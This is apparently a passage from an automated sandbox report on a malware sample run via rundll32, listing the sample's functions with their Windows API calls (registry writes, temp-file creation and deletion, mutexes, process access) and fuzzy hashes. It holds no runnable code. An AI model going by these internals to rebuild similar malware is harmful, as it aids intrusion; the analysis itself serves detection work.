                                            • VirtualFree.KERNEL32(?,00000000,00008000,0000004B,00000000,00000000,-00000020,?,?,?,?,?,?,?,05DDBF69,?), ref: 05DE4BE4
                                            • lstrcmp.KERNEL32(?,?), ref: 05DE4BFD
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Virtuallstrcmp$AllocCloseCommandErrorExitFreeHandleLastLineProcessTrimlstrlenmemcpymemset
                                            • String ID:
                                            • API String ID: 739714153-0
                                            • Opcode ID: 8e9d71b7763678d8b3e59781b4c06bf6cfc467db7a998d9eb825ee008a3179ce
                                            • Instruction ID: 7ba53c1f3d262bae2ece41a511f315c8cddad295dff93910690c36817ed14172
                                            • Opcode Fuzzy Hash: 8e9d71b7763678d8b3e59781b4c06bf6cfc467db7a998d9eb825ee008a3179ce
                                            • Instruction Fuzzy Hash: 4351F571A10219ABDF11ABA4CC89EAEBBBAFF08705F040527F201FB250DB359941CB64
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD4687 Relevance: 10.6, APIs: 7, Instructions: 137memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • StrChrA.SHLWAPI(00000000,00000020,00000000), ref: 05DD46B2
                                            • StrTrimA.SHLWAPI(00000000,?), ref: 05DD46CF
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD4702
                                            • RtlImageNtHeader.NTDLL(00000000), ref: 05DD472B
                                            • HeapFree.KERNEL32(00000000,00000000,00000001,00000000,00000000), ref: 05DD47F0
                                              • Part of subcall function 05DD3997: lstrlen.KERNEL32(?,00000000,76EC6980,00000000,05DE780A,?), ref: 05DD39A0
                                              • Part of subcall function 05DD3997: memcpy.NTDLL(00000000,?,00000000,?), ref: 05DD39C3
                                              • Part of subcall function 05DD3997: memset.NTDLL ref: 05DD39D2
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 05DD47A1
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 05DD47D0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FreeHeap$lstrlen$HeaderImageTrimmemcpymemset
                                            • String ID:
                                            • API String ID: 239510280-0
                                            • Opcode ID: 370dc84a14d57bbaea90b0d7b49ee4d3783e638c04f4e233a5972f9779bd3aa4
                                            • Instruction ID: af7513c616848236661317196736fffcf1bb8fb3e2b872940292f0768c6a54d2
                                            • Opcode Fuzzy Hash: 370dc84a14d57bbaea90b0d7b49ee4d3783e638c04f4e233a5972f9779bd3aa4
                                            • Instruction Fuzzy Hash: CB41A431610205FFDF119BA8DC89FAEBEB9EB45750F100027F645A7290DBB18E4597B0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB4CF Relevance: 10.6, APIs: 7, Instructions: 126memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,?,?,00000000,772D4620,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB529
                                            • lstrlen.KERNEL32(?,?,?,00000000,772D4620,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB547
                                            • RtlAllocateHeap.NTDLL(00000000,76EC6985,?), ref: 05DEB573
                                            • memcpy.NTDLL(00000000,00000000,00000000,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB58A
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DEB59D
                                            • memcpy.NTDLL(00000000,?,?,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB5AC
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00000000,772D4620,?,00000001,00000001,?,05DE63D9,?,?,?), ref: 05DEB610
                                              • Part of subcall function 05DD1924: RtlLeaveCriticalSection.NTDLL(?), ref: 05DD19A1
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Freelstrlenmemcpy$AllocateCriticalLeaveSection
                                            • String ID:
                                            • API String ID: 1635816815-0
                                            • Opcode ID: f7d1318f18bf3ea7cbaf0d65d0e3ca3d670b12463c25915df921c5da2f75e34c
                                            • Instruction ID: ce76eb72125b2d304e888d4821cff82d5504e16ac1dd14abb5b9dcac13b47b82
                                            • Opcode Fuzzy Hash: f7d1318f18bf3ea7cbaf0d65d0e3ca3d670b12463c25915df921c5da2f75e34c
                                            • Instruction Fuzzy Hash: 10414331500214ABEF21AFA8DC88BAEBFA5FF05350F054567F90597250D770EA51DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDEF43 Relevance: 10.6, APIs: 7, Instructions: 124threadstringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentThreadId.KERNEL32 ref: 05DDEF84
                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 05DDEFB2
                                            • GetWindowThreadProcessId.USER32(?,?), ref: 05DDEFF7
                                            • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 05DDF01F
                                            • _strupr.NTDLL ref: 05DDF04A
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000104), ref: 05DDF057
                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000104), ref: 05DDF071
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ProcessThread$Window$CloseCurrentHandleOpen_struprlstrlen
                                            • String ID:
                                            • API String ID: 3831658075-0
                                            • Opcode ID: 41eb5f2644c58f4b89a383d19c55fec256dcd7d5883e5f67129d54c5e66f717c
                                            • Instruction ID: 6d259b297b9968078d56bdd26ea7fdfcfaa0a6a892d63b3dedc664612f35f562
                                            • Opcode Fuzzy Hash: 41eb5f2644c58f4b89a383d19c55fec256dcd7d5883e5f67129d54c5e66f717c
                                            • Instruction Fuzzy Hash: 41411872900219AFDF219FA4CC49BEEFBB9FF48701F144457B606A6250DB749680DFA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE4F64 Relevance: 10.6, APIs: 7, Instructions: 124registrymemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlImageNtHeader.NTDLL ref: 05DE4F8D
                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 05DE4FD0
                                            • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 05DE4FEB
                                            • CloseHandle.KERNEL32(?,?,?,00000000,?,?,?), ref: 05DE5041
                                            • HeapFree.KERNEL32(00000000,?,?,00000000,00000000,?,?,?), ref: 05DE509D
                                            • RegCloseKey.ADVAPI32(?,?,?,00000000,?,?,?), ref: 05DE50AB
                                            • RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DE50B6
                                              • Part of subcall function 05DD2F6E: RegCreateKeyA.ADVAPI32(80000001,?,-00000005), ref: 05DD2F82
                                              • Part of subcall function 05DD2F6E: memcpy.NTDLL(00000000,00000001,-00000005,-00000005,-00000005,?,05DD1B3D,?,00000000,-00000005,00000001), ref: 05DD2FAB
                                              • Part of subcall function 05DD2F6E: RegSetValueExA.ADVAPI32(?,?,00000000,00000003,00000000,-00000005), ref: 05DD2FD4
                                              • Part of subcall function 05DD2F6E: RegCloseKey.ADVAPI32(-00000005,?,05DD1B3D,?,00000000,-00000005,00000001), ref: 05DD2FFF
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Close$CriticalSection$CreateEnterFreeHandleHeaderHeapImageLeaveOpenValuememcpy
                                            • String ID:
                                            • API String ID: 3181710096-0
                                            • Opcode ID: 261a4f521c8b4d07b12aeb256ed37d2323ce7c6b48f8bc8e9fc4980477c844f1
                                            • Instruction ID: 6c08e8cbe227542dec9b6da5a7c81229a2d23a46a79e1d418ada8d707fd534e4
                                            • Opcode Fuzzy Hash: 261a4f521c8b4d07b12aeb256ed37d2323ce7c6b48f8bc8e9fc4980477c844f1
                                            • Instruction Fuzzy Hash: E0417732610201AFEF21AF55EC89F6B3BA9FF40785F044027F906D6250DB31D981CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD7E45 Relevance: 10.6, APIs: 7, Instructions: 111memoryfilestringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InterlockedIncrement.KERNEL32(05DF908C), ref: 05DD7E57
                                            • lstrcpy.KERNEL32(00000000), ref: 05DD7E93
                                              • Part of subcall function 05DDADF8: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,05DEA2DC,?,00000000,-00000007,05DE377E,-00000007,?,00000000), ref: 05DDAE07
                                              • Part of subcall function 05DDADF8: mbstowcs.NTDLL ref: 05DDAE23
                                            • GetLastError.KERNEL32(00000000), ref: 05DD7F22
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD7F39
                                            • InterlockedDecrement.KERNEL32(05DF908C), ref: 05DD7F50
                                            • DeleteFileA.KERNEL32(00000000), ref: 05DD7F71
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD7F81
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileTemp$FreeHeapInterlockedPathTimelstrcpy$CurrentDecrementDeleteErrorIncrementLastNameSystemThreadlstrlenmbstowcs
                                            • String ID:
                                            • API String ID: 908044853-0
                                            • Opcode ID: aec7a410c0997895de1c92e6780bd2a36ed815b3342015448d6ea4635e39f79c
                                            • Instruction ID: 708df036cfb3a1e4851413e4dbd1d02dd2ec30004a4457dba808a9859c9040dc
                                            • Opcode Fuzzy Hash: aec7a410c0997895de1c92e6780bd2a36ed815b3342015448d6ea4635e39f79c
                                            • Instruction Fuzzy Hash: 8831B232A04114EBCB21AFB8D849FAEFFB9EB44754F1140A7F905DB240DA708A81D7A0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD41F7 Relevance: 10.6, APIs: 7, Instructions: 110memoryfileCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            • StrChrA.SHLWAPI(?,0000002C,00003219), ref: 05DD423D
                                            • StrTrimA.SHLWAPI(?,?), ref: 05DD425B
                                            • StrTrimA.SHLWAPI(?,?,?,?,00000001), ref: 05DD42C4
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,00000001), ref: 05DD42E5
                                            • DeleteFileA.KERNEL32(?,00003219), ref: 05DD4307
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD4316
                                            • HeapFree.KERNEL32(00000000,?,00003219), ref: 05DD432E
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileFreeHeapTemp$PathTimeTrim$CurrentDeleteNameSystemThreadlstrcpy
                                            • String ID:
                                            • API String ID: 1078934163-0
                                            • Opcode ID: 39efb82d96865247af012e29712b8d90c22689e4bde9badf07f6dd4d34f75751
                                            • Instruction ID: 73cc8aa4e38a3b16867f9173c2878d6beb32f8d195a5e28acc35a0eb8e40e7d2
                                            • Opcode Fuzzy Hash: 39efb82d96865247af012e29712b8d90c22689e4bde9badf07f6dd4d34f75751
                                            • Instruction Fuzzy Hash: F031E232604205AFEB20EB98DC09F6BBBE8FF55700F050417FA44DB250DBB5E9458BA2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE0148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL(00000000,05DE043C,00000000), ref: 05DE0162
                                            • RtlAllocateHeap.NTDLL(00000000,00000024), ref: 05DE0177
                                            • memset.NTDLL ref: 05DE0184
                                            • HeapFree.KERNEL32(00000000,00000000,?,05DE043B,?,?,00000000,?,00000000,05DE7364,?,00000000), ref: 05DE01A1
                                            • memcpy.NTDLL(?,?,05DE043B,?,05DE043B,?,?,00000000,?,00000000,05DE7364,?,00000000), ref: 05DE01C2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Allocate$Freememcpymemset
                                            • String ID: chun
                                            • API String ID: 2362494589-3058818181
                                            • Opcode ID: d8ba456147615639e688842843ceacb7d32cba469f177bb928acb8e44dcd2ced
                                            • Instruction ID: 5571c387de7976ca9f98c0fff29e06085cb53bf23f224f0ade22971c511f2cfd
                                            • Opcode Fuzzy Hash: d8ba456147615639e688842843ceacb7d32cba469f177bb928acb8e44dcd2ced
                                            • Instruction Fuzzy Hash: 84314B71605706AFEB20EF69DC49A56BBE9EF15310F01842BF94ACB220DB70E945CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEB138 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DF0AD0: OpenMutexA.KERNEL32(00100001,00000000,?), ref: 05DF0ADC
                                              • Part of subcall function 05DF0AD0: SetLastError.KERNEL32(000000B7,?,05DEB14C), ref: 05DF0AED
                                            • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DEB16C
                                            • CloseHandle.KERNEL32(00000000), ref: 05DEB244
                                              • Part of subcall function 05DD47FF: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 05DD4819
                                              • Part of subcall function 05DD47FF: CreateWaitableTimerA.KERNEL32(05DF9208,?,?), ref: 05DD4836
                                              • Part of subcall function 05DD47FF: GetLastError.KERNEL32(?,?), ref: 05DD4847
                                              • Part of subcall function 05DD47FF: GetSystemTimeAsFileTime.KERNEL32(?,00000000,?,?,?,?), ref: 05DD4887
                                              • Part of subcall function 05DD47FF: SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 05DD48A6
                                              • Part of subcall function 05DD47FF: HeapFree.KERNEL32(00000000,?,00000000,?,?,?,?), ref: 05DD48BC
                                            • GetLastError.KERNEL32 ref: 05DEB22D
                                            • ReleaseMutex.KERNEL32(00000000), ref: 05DEB236
                                              • Part of subcall function 05DF0AD0: CreateMutexA.KERNEL32(05DF9208,00000000,?,?,05DEB14C), ref: 05DF0B00
                                            • GetLastError.KERNEL32 ref: 05DEB251
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$MutexTimerWaitable$CreateOpenTime$CloseFileFreeHandleHeapMultipleObjectsReleaseSystemWait
                                            • String ID: v
                                            • API String ID: 1700416623-1801730948
                                            • Opcode ID: 6b933bd0b6298c5448971c1e08c89d71aabd74bc9bb8d8f55899afbcce73c92c
                                            • Instruction ID: 767bb65732228a2123b9ccddba3cfdf1a489b67d7bfb9d0d1c78dea13b1afbae
                                            • Opcode Fuzzy Hash: 6b933bd0b6298c5448971c1e08c89d71aabd74bc9bb8d8f55899afbcce73c92c
                                            • Instruction Fuzzy Hash: 9E316F75A11204AFDB01AF78DC999AE7BB6FF89204B244427F812D7350DA319841CBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD43CF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91memoryfilestringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            • lstrlen.KERNEL32(00000000,?,00000F00), ref: 05DD43F3
                                              • Part of subcall function 05DDB865: lstrlen.KERNEL32(00000F00,?,-00000001,00000000,?,?,?,05DD4417,?,00000000,000000FF,?,00000F00), ref: 05DDB876
                                              • Part of subcall function 05DDB865: lstrlen.KERNEL32(?,?,-00000001,00000000,?,?,?,05DD4417,?,00000000,000000FF,?,00000F00), ref: 05DDB87D
                                              • Part of subcall function 05DDB865: RtlAllocateHeap.NTDLL(00000000,00000020), ref: 05DDB88F
                                              • Part of subcall function 05DDB865: _snprintf.NTDLL ref: 05DDB8B5
                                              • Part of subcall function 05DDB865: _snprintf.NTDLL ref: 05DDB8E9
                                              • Part of subcall function 05DDB865: HeapFree.KERNEL32(00000000,00000000,00000000,000000FF,00000000,000000FF,?,00000F00), ref: 05DDB906
                                            • StrTrimA.SHLWAPI(00000000, s:,?,?,?,?,000000FF,?,00000F00), ref: 05DD448D
                                            • HeapFree.KERNEL32(00000000,?,000000FF,?,00000F00), ref: 05DD44AA
                                            • DeleteFileA.KERNEL32(00000000,00000000,?,?,?,00000000,000000FF,?,00000F00), ref: 05DD44B2
                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,000000FF,?,00000F00), ref: 05DD44C1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$FileFreeTemplstrlen$PathTime_snprintf$AllocateCurrentDeleteNameSystemThreadTrimlstrcpy
                                            • String ID: s:
                                            • API String ID: 2960378068-2363032815
                                            • Opcode ID: d50aab7c265aec3ae22f035adf33accac44a2106292c6fff693a7cd8defe5d9c
                                            • Instruction ID: 7b473b6628b2fcbc34eef537a88fc53b4a7c9200b07209b3de948ebc9e7e1007
                                            • Opcode Fuzzy Hash: d50aab7c265aec3ae22f035adf33accac44a2106292c6fff693a7cd8defe5d9c
                                            • Instruction Fuzzy Hash: 9E313E76A00105BFDF10ABE9DC89FAFBFACEB08214F010556F605E6241EAB4A6448771
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE13CC Relevance: 10.6, APIs: 7, Instructions: 83stringfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 05DE13E2
                                            • lstrcmpiW.KERNEL32(00000000,?), ref: 05DE141A
                                            • lstrcmpiW.KERNEL32(?,?), ref: 05DE142F
                                            • lstrlenW.KERNEL32(?), ref: 05DE1436
                                            • CloseHandle.KERNEL32(?), ref: 05DE145E
                                            • DeleteFileW.KERNEL32(?,?,?,?,?,?), ref: 05DE148A
                                            • RtlLeaveCriticalSection.NTDLL(00000000), ref: 05DE14A8
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CriticalSectionlstrcmpi$CloseDeleteEnterFileHandleLeavelstrlen
                                            • String ID:
                                            • API String ID: 1496873005-0
                                            • Opcode ID: 2ddd4adf09b84602741108b765f81187c9fad1156cbd08a72ea13913e7d179c2
                                            • Instruction ID: b502900220d7d64b0194308f17841d4422577b397a3716b324f53ae0d2601886
                                            • Opcode Fuzzy Hash: 2ddd4adf09b84602741108b765f81187c9fad1156cbd08a72ea13913e7d179c2
                                            • Instruction Fuzzy Hash: BF213B71A10606AFEB10AFA9DC89EAB7BBCFF04645B044567B906D2300EB31D945CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEA806 Relevance: 10.6, APIs: 7, Instructions: 76memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(05DE1B23,00000000,05DF9440,05DF9460,?,?,05DE1B23,05DEC387,05DF9440), ref: 05DEA816
                                            • RtlAllocateHeap.NTDLL(00000000,00000002), ref: 05DEA82C
                                            • lstrlen.KERNEL32(05DEC387,?,?,05DE1B23,05DEC387,05DF9440), ref: 05DEA834
                                            • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DEA840
                                            • lstrcpy.KERNEL32(05DF9440,05DE1B23), ref: 05DEA856
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,05DE1B23,05DEC387,05DF9440), ref: 05DEA8AA
                                            • HeapFree.KERNEL32(00000000,05DF9440,?,?,05DE1B23,05DEC387,05DF9440), ref: 05DEA8B9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreelstrlen$lstrcpy
                                            • String ID:
                                            • API String ID: 1531811622-0
                                            • Opcode ID: b3ffce6b04c456872561802b0cbf47cf969f75bb33945ba67188b76466140bc9
                                            • Instruction ID: b66d3d3eb7e7c57fa4e3864634323b9baed4adb81ccf06bd0a316caa1dda733b
                                            • Opcode Fuzzy Hash: b3ffce6b04c456872561802b0cbf47cf969f75bb33945ba67188b76466140bc9
                                            • Instruction Fuzzy Hash: FC212236504241AFEF225F28EC89FAA7FAAEB46210F00406BF84957310CB319D86C761
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE2C84 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(00000000,?,?,?), ref: 05DE2CA8
                                              • Part of subcall function 05DD99C2: lstrcpy.KERNEL32(-000000FC,00000000), ref: 05DD99FC
                                              • Part of subcall function 05DD99C2: CreateDirectoryA.KERNEL32(00000000,00000000,?,?,00002365), ref: 05DD9A0E
                                              • Part of subcall function 05DD99C2: GetTickCount.KERNEL32 ref: 05DD9A19
                                              • Part of subcall function 05DD99C2: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,?,?,00002365), ref: 05DD9A25
                                              • Part of subcall function 05DD99C2: lstrcpy.KERNEL32(00000000), ref: 05DD9A3F
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpy.KERNEL32(00000000), ref: 05DE2CE3
                                            • wsprintfA.USER32 ref: 05DE2CF6
                                            • GetTickCount.KERNEL32 ref: 05DE2D0B
                                            • wsprintfA.USER32 ref: 05DE2D20
                                              • Part of subcall function 05DDC6B8: RtlFreeHeap.NTDLL(00000000,00000000,05DF1A9A,00000000), ref: 05DDC6C4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrcpy$CountHeapTickwsprintf$AllocateCreateDirectoryFileFreeNameTemplstrlen
                                            • String ID: "%S"
                                            • API String ID: 1152860224-1359967185
                                            • Opcode ID: 7cd8fb57b42e4b62e3c9c1ac5b7466371a709ba99ef7d972e0d1639e99be7693
                                            • Instruction ID: c4b0fd91c1dfeb0ebf3246152824a0f0c57b38d7969a4c9bccdba29c582528a4
                                            • Opcode Fuzzy Hash: 7cd8fb57b42e4b62e3c9c1ac5b7466371a709ba99ef7d972e0d1639e99be7693
                                            • Instruction Fuzzy Hash: 7011BE72602215BFC600BBA89C4CE9BBBACEF49614F054417FA49D7310DE75A8018BB1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6371 Relevance: 10.6, APIs: 7, Instructions: 71filememoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66CE
                                              • Part of subcall function 05DE66BC: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE66E7
                                              • Part of subcall function 05DE66BC: GetCurrentThreadId.KERNEL32 ref: 05DE66F4
                                              • Part of subcall function 05DE66BC: GetSystemTimeAsFileTime.KERNEL32(00000F00,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE6700
                                              • Part of subcall function 05DE66BC: GetTempFileNameA.KERNEL32(00000000,00000000,00000F00,00000000,?,?,?,?,?,?,05DD43E4,00000F00), ref: 05DE670E
                                              • Part of subcall function 05DE66BC: lstrcpy.KERNEL32(00000000), ref: 05DE6730
                                            • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00001ED2,00000000,000000B7,?,00000001,05DD7F67,00000000,00000000,00000011), ref: 05DD63B2
                                            • HeapFree.KERNEL32(00000000,00000000,00001ED2,00000000,000000B7,?,00000001,05DD7F67,00000000,00000000,00000011), ref: 05DD6425
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: FileTemp$PathTime$CreateCurrentFreeHeapNameSystemThreadlstrcpy
                                            • String ID:
                                            • API String ID: 2078930461-0
                                            • Opcode ID: 0107be2a0ddd66a15fd81b527345e93e4f2661852813902ad7b28c1c5450efe2
                                            • Instruction ID: 00bc66000aad3c744ff8736384dfb221a21528ebd95d72a0a413217c522a51d3
                                            • Opcode Fuzzy Hash: 0107be2a0ddd66a15fd81b527345e93e4f2661852813902ad7b28c1c5450efe2
